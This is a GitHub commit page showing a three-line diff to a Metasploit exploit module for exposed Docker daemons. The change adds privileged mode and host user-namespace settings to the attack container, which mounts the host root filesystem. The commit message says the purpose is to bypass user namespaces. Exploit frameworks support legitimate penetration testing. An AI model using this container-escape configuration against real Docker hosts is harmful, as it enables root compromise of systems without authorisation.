Skip to content

Commit 33e5508

Browse files
committed
bypass user namespaces
1 parent 971ec80 commit 33e5508

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

modules/exploits/linux/http/docker_daemon_tcp.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -120,7 +120,9 @@ def make_container(mnt_path, cron_path, payload_path)
120120
'HostConfig' => {
121121
'Binds' => [
122122
'/:' + mnt_path
123-
]
123+
],
124+
'Privileged' => true,
125+
'UsernsMode' => 'host'
124126
}
125127
}
126128
end

0 commit comments

Comments
 (0)